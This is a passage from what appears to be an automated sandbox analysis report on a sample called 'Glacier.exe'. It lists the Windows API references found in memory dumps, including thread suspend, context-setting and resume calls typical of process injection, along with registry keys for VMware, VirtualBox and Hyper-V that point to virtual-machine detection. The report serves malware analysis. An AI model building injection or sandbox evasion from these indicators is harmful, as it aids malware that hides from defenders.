(Indicator: "QueryPerformanceCounter"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "NtQueryVirtualMemory"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetProcessMitigationPolicy"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetProcessDpiAwarenessContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "NtMapViewOfSection"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "LdrUnloadDll"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "LdrLoadDll"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "BaseThreadInitThunk"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc2"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CertFindCertificateInStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CertGetNameStringW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptBinaryToStringW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptMsgClose"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptMsgGetParam"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptMsgOpenToDecode"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptMsgUpdate"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CryptQueryObject"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlAllocateHeap"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureStackBackTrace"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlCompareMemory"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlDuplicateUnicodeString"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlFreeHeap"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlFreeUnicodeString"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlReAllocateHeap"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RtlSetLastWin32Error"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "FlushInstructionCache"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAdjustment"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetThreadId"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "IsBadReadPtr"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "K32EnumProcessModules"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "QueryUnbiasedInterruptTime"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "SuspendThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockShared"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "WerRegisterRuntimeExceptionModule"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "WerUnregisterRuntimeExceptionModule"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "UnlockFileEx"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LockFileEx"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapCompact"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetThreadDescription"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "UuidCreateSequential"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateFile2"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "AddAccessAllowedAce"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CancelIo"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetHandleInformation"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "MoveFileA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetThreadPriority"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")3e:T8c1,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "Glacier.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "Glacier.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "Glacier.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "Glacier.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "Glacier.exe") file/memory contains long string with (Indicator: "OpenThread"; File: "Glacier.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "CreateThreadRelaCreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateThreadGCAble" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateThreadPool" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_PR_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_PR_NativeCreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")3f:T1c1c,"SOFTWARE\VMware, Inc.\VMware Tools" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Oracle\VirtualBox Guest Additions" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\VBoxGuest" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\vmci" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp 